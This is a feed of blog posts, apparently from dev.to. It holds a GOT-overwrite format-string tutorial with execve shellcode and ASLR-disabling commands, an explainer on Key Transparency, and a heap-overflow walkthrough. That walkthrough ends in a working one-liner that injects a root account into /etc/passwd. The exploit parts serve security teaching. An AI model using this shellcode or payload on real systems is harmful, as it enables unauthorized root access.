  Overwrite Global Offset Table to get a shell
&lt;/h1&gt;

&lt;p&gt;The Global Offset Table (GOT) is a section of a computer program that holds the memory addresses of functions that are dinamically linked. It’s useful to call functions from shared libraries. We will rewrite a memory address there with the address of our shellcode, but first, let’s see how to compile the program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -z norelro -z execstack -m32
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we added &lt;code&gt;-z norelro&lt;/code&gt; to allow overwriting memory addresses in the GOT, and &lt;code&gt;-z execstack&lt;/code&gt; to require executable stack.&lt;/p&gt;

&lt;p&gt;We also need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, the idea is pretty simple. We want to overwrite the memory address of the &lt;code&gt;exit&lt;/code&gt; function in the GOT table. For that, we will need a couple of things.&lt;/p&gt;

&lt;p&gt;We need a 32 bits shellcode. We can get one with the following C program. I got it from &lt;a href="https://shell-storm.org/" rel="noopener noreferrer"&gt;https://shell-storm.org/&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  (*(void(*)()) shellcode)();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We also need a program to get the shellcode address. We will store in an environment variable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main(int argc, char *argv[]) {
  char *ptr;

  if(argc &amp;lt; 3) {
    printf("Usage: %s &amp;lt;environment variable&amp;gt; &amp;lt;target program name&amp;gt;\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]); /* get env var location */
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
  printf("%s will be at %p\n", argv[1], ptr);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From that point, the procedure is pretty straight forward.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Store shellcode in an environment variable&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Get shellcode address&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Compute the values we will put at the format string exploit for the given shellcode address&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Get &lt;code&gt;exit&lt;/code&gt; address in GOT&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Exploit&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Don’t execute format string inputted by the users. Thanks. That will save you lots of headaches.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How does Key Transparency work?</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sat, 06 Jan 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/how-does-key-transparency-work-13mi</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/how-does-key-transparency-work-13mi</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj0mrpu6xfvlw5yembpr8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj0mrpu6xfvlw5yembpr8.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Context&lt;/li&gt;
&lt;li&gt;What’s Key Transparency?&lt;/li&gt;
&lt;li&gt;
How does it work (CONIKS)?

&lt;ul&gt;
&lt;li&gt;Data Structures&lt;/li&gt;
&lt;li&gt;Merkle Tree&lt;/li&gt;
&lt;li&gt;User identifier to Public Key map&lt;/li&gt;
&lt;li&gt;Protocol phases&lt;/li&gt;
&lt;li&gt;Registration phase&lt;/li&gt;
&lt;li&gt;Lookup phase&lt;/li&gt;
&lt;li&gt;Monitoring phase&lt;/li&gt;
&lt;li&gt;Cross verification phase&lt;/li&gt;
&lt;li&gt;Some thoughts&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

How does it work (WhatsApp)?

&lt;ul&gt;
&lt;li&gt;Protocol phases&lt;/li&gt;
&lt;li&gt;Registration phase&lt;/li&gt;
&lt;li&gt;Lookup phase&lt;/li&gt;
&lt;li&gt;Challenges&lt;/li&gt;
&lt;li&gt;Some thoughts&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  Context
&lt;/h1&gt;

&lt;p&gt;Lately, I’ve been thinking about how current e2e messaging applications distribute public keys as part of my job. There are two ways. You trust the service or check that the person you are talking with has the public key in his possession. The latter is better, but users must use a side channel (e.g. meet in person, phone call) to check it. That’s known as Trust On First Use (TOFU). The first time you talk with someone over the service, you don’t know who they are, but you can use a side channel to check it. From that point, you know that this person controls that public key. Unfortunately, this has some disadvantages.&lt;/p&gt;

&lt;p&gt;The main reasons are that users won’t bother performing the flow and that doing it with every person is a burden. Besides, this doesn’t work for people who don’t know each other on real life.&lt;/p&gt;

&lt;p&gt;Key Transparency was born.&lt;/p&gt;

&lt;h1&gt;
  
  
  What’s Key Transparency?
&lt;/h1&gt;

&lt;p&gt;Key Transparency is a protocol based on append-only logs. The idea is that the server providing the public keys also gives proofs that it is behaving correctly. Hence, the public key is correct, and you can safely talk with the person controlling it.&lt;/p&gt;

&lt;h1&gt;
  
  
  How does it work (CONIKS)?
&lt;/h1&gt;

&lt;p&gt;To get an idea, we are going to review the&lt;a href="https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/melara" rel="noopener noreferrer"&gt;CONIKS&lt;/a&gt;implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data Structures
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Merkle Tree
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Merkle Tree&lt;/strong&gt; is a tree made of hashes that allows to verify that a node is in the tree. For example, to check that the tree includes the hash in red, we only need the hashes in green. Computing the hashes in a bottom up fashion with the read and green hashes should give us the same root hash.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5s8slpxhb447j8m7wxn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5s8slpxhb447j8m7wxn.webp" width="677" height="126"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s fast and easy to verify, can be done in the client’s device and allows any user to check that a specific public key is registered in the service. This Merkle Tree is computed from time to time, so we end with root hashes for different &lt;strong&gt;epochs&lt;/strong&gt;. Each new Merkle Tree includes the previous epoch root hash. These chains prevent forking the history. Otherwise, the server could build Merkle Trees with malicious intentions without leaving any trace.&lt;/p&gt;

&lt;h3&gt;
  
  
  User identifier to Public Key map
&lt;/h3&gt;

&lt;p&gt;We also need a map between public identifiers and public keys. The server hosting the information can be untrusted. If the information is wrong, the client will detect that when verifying the proofs.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Public Identifier&lt;/th&gt;
&lt;th&gt;Public Key&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;6384e2b2184bcbf58eccf10ca7a6563c (alice public id)&lt;/td&gt;
&lt;td&gt;alice pk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9f9d51bc70ef21ca5c14f307980a29d8 (bob public id)&lt;/td&gt;
&lt;td&gt;bob pk&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Protocol phases
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Registration phase
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;User creates a new account their device create a new key pair&lt;/li&gt;
&lt;li&gt;Client device creates a new key pair&lt;/li&gt;
&lt;li&gt;Client device sends public key to the server&lt;/li&gt;
&lt;li&gt;Server adds it to the map&lt;/li&gt;
&lt;li&gt;Server computes new Merkle Tree&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s the simplified flow. However, the Merkle Tree isn’t computed for each new key due to scalability issues. It’s done after specific time intervals (e.g. every 5 minutes). When the time is right, the server creates a snapshot of that epoch. That includes all the new keys added in the last batch.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsqpaorhwtvjnu6h4fod9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsqpaorhwtvjnu6h4fod9.webp" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Lookup phase
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Alice asks for the public key of Bob&lt;/li&gt;
&lt;li&gt;Server sends public key and inclusion proof&lt;/li&gt;
&lt;li&gt;Alice verifies the inclusion proof (the given public key is included in the Merkle Tree)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Alice knows the given public key is inside the Merkle Tree and trusts that it’s Bob’s public key. If it wasn’t, Bob should have notice and raised an alarm somewhere.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm2jod8fkpp3gq1anygdi.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm2jod8fkpp3gq1anygdi.webp" width="800" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Monitoring phase
&lt;/h3&gt;

&lt;p&gt;It works the same as the lookup phase. Alice checks that the service gives her key when someone asks for her public key. Otherwise he can raise the alarm to her contacts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0es1rosd0nnk39twivv7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0es1rosd0nnk39twivv7.webp" width="800" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross verification phase
&lt;/h3&gt;

&lt;p&gt;Client asks to different providers to verify the Merkle Tree chain.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu05l58yq8ai0mxvopezf.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu05l58yq8ai0mxvopezf.webp" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Some thoughts
&lt;/h2&gt;

&lt;p&gt;Pretty cool, right? It’s a good step forward to improve public key distribution. However, it has it’s&lt;a href="https://freedom-to-tinker.com/2016/03/31/why-making-johnnys-key-management-transparent-is-so-challenging/" rel="noopener noreferrer"&gt;challenges&lt;/a&gt;. What time interval should we use to compute epochs? What happens if a new user wants to send a message while the epoch is still building? What if clients can’t ask various providers?&lt;/p&gt;

&lt;p&gt;The biggest problem is that this protocol doesn’t work if the company owns the messaging channel and the public key distribution server and there aren’t other providers. We have no assurance that the company didn’t forge the history. Furthermore, they could add two public keys for each user. One controlled by the user and one by the server. That way, they can perform a MITM attack. The server would give the fake key to any user performing the lookup phase and the real key to any user performing the monitoring phase.&lt;/p&gt;

&lt;h1&gt;
  
  
  How does it work (WhatsApp)?
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://www.usenix.org/conference/pepr23/presentation/lewi" rel="noopener noreferrer"&gt;WhatsApp started with their own implementation of Key Transparency&lt;/a&gt;. It might be of more help than CONIKS implementation. The data structures are the same, but the phases change a bit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Protocol phases
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Registration phase
&lt;/h3&gt;

&lt;p&gt;It works the same as in CONIKS.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8py6r06ioej87fphjp3p.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8py6r06ioej87fphjp3p.webp" width="800" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Lookup phase
&lt;/h3&gt;

&lt;p&gt;Similar to CONIKS. However, the client first asks for the root hash of the last published epoch. Then, the client asks WhatsApp for the public key included in the Merklee Tree with that root hash.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx9ffrrd22htoj0i9t5cs.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx9ffrrd22htoj0i9t5cs.webp" width="800" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenges
&lt;/h2&gt;

&lt;p&gt;We can learn a lot from WhatsApp implementation, especially from the challenges they had to face.&lt;/p&gt;

&lt;p&gt;First, how can they distribute root hashes consistently? How can the clients trust they are building Merkle Trees as expected and behaving honestly? Ideally, with a distributed ledger technology like blockchain. However, they are not doing it for now. They have locked down server that the client has to trust. It’s not the best, but a step in the right direction.&lt;/p&gt;

&lt;p&gt;Second, what happens if we always look up the latest key? The server could serve a malicious key to Bob, which he will automatically trust. Ideally, this could be detected with &lt;strong&gt;Key history checks&lt;/strong&gt;. Each user would monitor that WhatsApp always represented their public key correctly. However, they didn’t find a way to implement it. Instead, they use &lt;strong&gt;dual lookup proofs&lt;/strong&gt;. Whenever Alice requests a lookup proof for Bob, she will also ask one for her own key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Some thoughts
&lt;/h2&gt;

&lt;p&gt;That’s a step in the right direction for e2e encryption. We still have to trust WhatsApp server but I hope this won’t happen in the future. More importantly, we can learn a lot from their implementation and challenges in the future.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Key Transparency protocol brings some solutions to current limitations on public key distributions along with some challenges. Google and WhatsApp seem to be doing some work on those areas. Keep a look on them!!!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Heap-based buffer overflows</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sun, 19 Nov 2023 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/heap-based-buffer-overflows-3o39</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/heap-based-buffer-overflows-3o39</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnk3lowk4ggj71ibjkbqe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnk3lowk4ggj71ibjkbqe.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Stack vs Heap-based buffer overflows?&lt;/li&gt;
&lt;li&gt;System information&lt;/li&gt;
&lt;li&gt;Exercise&lt;/li&gt;
&lt;li&gt;Bonus points&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;In a previous post, I explained what a &lt;a href="//../stack-based-buffer-overflows"&gt;stack-based buffer overflow&lt;/a&gt; is and how it works. Today, we are going to see the heap-based variant.&lt;/p&gt;

&lt;h1&gt;
  
  
  Stack vs Heap-based buffer overflows?
&lt;/h1&gt;

&lt;p&gt;The difference between those two types is the region of memory where the exploited variables reside. That’s easy to see in the C language. All variables are stored in the stack unless we use functions to allocate memory in the heap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Variables stored in the stack
int auth_flag = 0;
char password_buffer[16];

# Variables stored in the heap
buffer = (char *)ec_malloc(100);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  System information
&lt;/h1&gt;

&lt;p&gt;Before starting, let me mention some information about my system. Take them into account if you try to replicate the results. They may vary from machine to machine.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux 5.15.0-86-generic x86_64&lt;/li&gt;
&lt;li&gt;Intel(R) Core(TM) i7-10510U CPU&lt;/li&gt;
&lt;li&gt;Little Endian&lt;/li&gt;
&lt;li&gt;48 bits address size&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Exercise
&lt;/h1&gt;

&lt;p&gt;We are going to exploit the &lt;code&gt;notetaker.c&lt;/code&gt; program from &lt;strong&gt;Hacking: The Art of Exploitation, 2nd Edition&lt;/strong&gt;. You can get the source code at&lt;a href="https://github.com/intere/hacking/blob/master/booksrc" rel="noopener noreferrer"&gt;https://github.com/intere/hacking/blob/master/booksrc&lt;/a&gt;. The program creates notes in &lt;code&gt;/var/notes&lt;/code&gt;. Creating and modifying files in the root path requires root permissions. Hence, the executable of this program must be owned by the root and have the SUID activated. That way, we can execute it with normal users as if they were root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include "hacking.h"

void usage(char *prog_name, char *filename)
{
  printf("Usage: %s &amp;lt;data to add to %s&amp;gt;\n", prog_name, filename);
  exit(0);
}

void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[])
{
  int userid, fd; // File descriptor
  char *buffer, *datafile;

  buffer = (char *)ec_malloc(100);
  datafile = (char *)ec_malloc(20);
  strcpy(datafile, "/var/notes");

  if (argc &amp;lt; 2) // If there aren't command-line arguments,
    usage(argv[0], datafile); // display usage message and exit.

  strcpy(buffer, argv[1]); // Copy into buffer.

  printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
  printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

  // Opening the file
  fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
  if (fd == -1)
    fatal("in main() while opening file");
  printf("[DEBUG] file descriptor is %d\n", fd);

  userid = getuid(); // Get the real user ID.

  // Writing data
  if (write(fd, &amp;amp;userid, 4) == -1) // Write user ID before note data.
    fatal("in main() while writing userid to file");
  write(fd, "\n", 1); // Terminate line.
  if (write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal("in main() while writing buffer to file");

  write(fd, "\n", 1); // Terminate line.
  // Closing file
  if (close(fd) == -1)
    fatal("in main() while closing file");
  printf("Note has been saved.\n");
  free(buffer);
  free(datafile);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The error is copying the data from &lt;code&gt;argv[1]&lt;/code&gt; to the buffer without checking the length. We can overflow the &lt;code&gt;buffer&lt;/code&gt; variable if we pass a long enough argument to the executable and overwrite the &lt;code&gt;datafile&lt;/code&gt;data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;buffer = (char *)ec_malloc(100);
datafile = (char *)ec_malloc(20);
strcpy(datafile, "/var/notes");

if (argc &amp;lt; 2) // If there aren't command-line arguments,
  usage(argv[0], datafile); // display usage message and exit.

strcpy(buffer, argv[1]); // Copy into buffer.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s compile the program and give it the proper permissions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc notetaker.c -o notetaker -g
sudo chown root:root notetaker
sudo chmod u+s notetaker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can write to whatever file we want, &lt;code&gt;testfile&lt;/code&gt; for example.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9le22q0wqwseyxancao.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9le22q0wqwseyxancao.webp" width="800" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We exploited it!&lt;/p&gt;

&lt;h1&gt;
  
  
  Bonus points
&lt;/h1&gt;

&lt;p&gt;The exercise is helpful but dull. We can do something more interesting when exploiting that program. We can create a new root user with any password that we want. Let me show you.&lt;/p&gt;

&lt;p&gt;In Linux, there’s the /etc/passwd file where the basic information related to users is stored. Each entry includes the login name, hashed password, user id, group id, username, home directory and login shell of a user, separated by colons (e.g. &lt;code&gt;root:x:0:0:root:/root:/bin/bash&lt;/code&gt;). We can add a manually prepared entry to &lt;code&gt;/etc/passwd&lt;/code&gt;, but how do we create the hashed password?&lt;/p&gt;

&lt;p&gt;There are plenty of hashing functions. There’s no constraint in linux, so we can use whichever one we want. I decided to use &lt;code&gt;crypt&lt;/code&gt; from perl with a simple password (1234) and salt (AA).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;perl -e 'print crypt("1234", "AA"), "\n"'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result is &lt;code&gt;AA3BKXQMdIWHE&lt;/code&gt;. The entry would then look like&lt;code&gt;newrootuser:AA3BKXQMdIWHE:0:0:root:/root:/bin/bash&lt;/code&gt;. There’s still another problem to solve. Remember that for the exploit to work, the final part of the argument must be the file where we want to write the data. It should be something similar to&lt;code&gt;newrootuser:AA3BKXQMdIWHE:0:0:root:/root:/etc/passwd&lt;/code&gt;. However, this is not a valid entry. The last part is no longer a shell, but a file. We can sidestep this problem with a symbolic link. That’s the cool part, pay attention.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir /tmp/etc
ln -s /bin/bash /tmp/etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We just created a symbolic link in &lt;code&gt;/tmp/etc/passwd&lt;/code&gt; to a shell. That way, we can create a payload that ends with a login shell and the filename we want to overwrite. Pretty slick, right? We can then rewrite the entry as &lt;code&gt;newrootuser:AA3BKXQMdIWHE:0:0:root:/root:/tmp/etc/passwd&lt;/code&gt;. The last step is to make it longer to overflow the buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./notetaker $(perl -e 'print "newrootuser:AA3BKXQMdIWHE:0:0:", "A" x 71, ":/root:/tmp/etc/passwd"')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkdl9w012o7abj1o5xhg.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkdl9w012o7abj1o5xhg.webp" width="800" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Exploiting heap and stack buffer overflows has the same difficulty. Everything we know about one variant can be applied to the other (as far as I know). They are easy to exploit and protect. However, software engineers should be aware of their existence and how to avoid them. There is no excuse for avoiding them in your programs!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Optimize emacs start up time</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sat, 18 Nov 2023 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/optimize-emacs-start-up-time-31o4</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/optimize-emacs-start-up-time-31o4</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3chn78b426tltor288b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3chn78b426tltor288b.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;
Optimization steps

&lt;ul&gt;
&lt;li&gt;Base configuration&lt;/li&gt;
&lt;li&gt;&lt;a href="//#dont-manipulate-ui-in-init.el"&gt;Don’t manipulate UI in init.el&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Garbage collector&lt;/li&gt;
&lt;li&gt;Disable UI&lt;/li&gt;
&lt;li&gt;Autoload packages&lt;/li&gt;
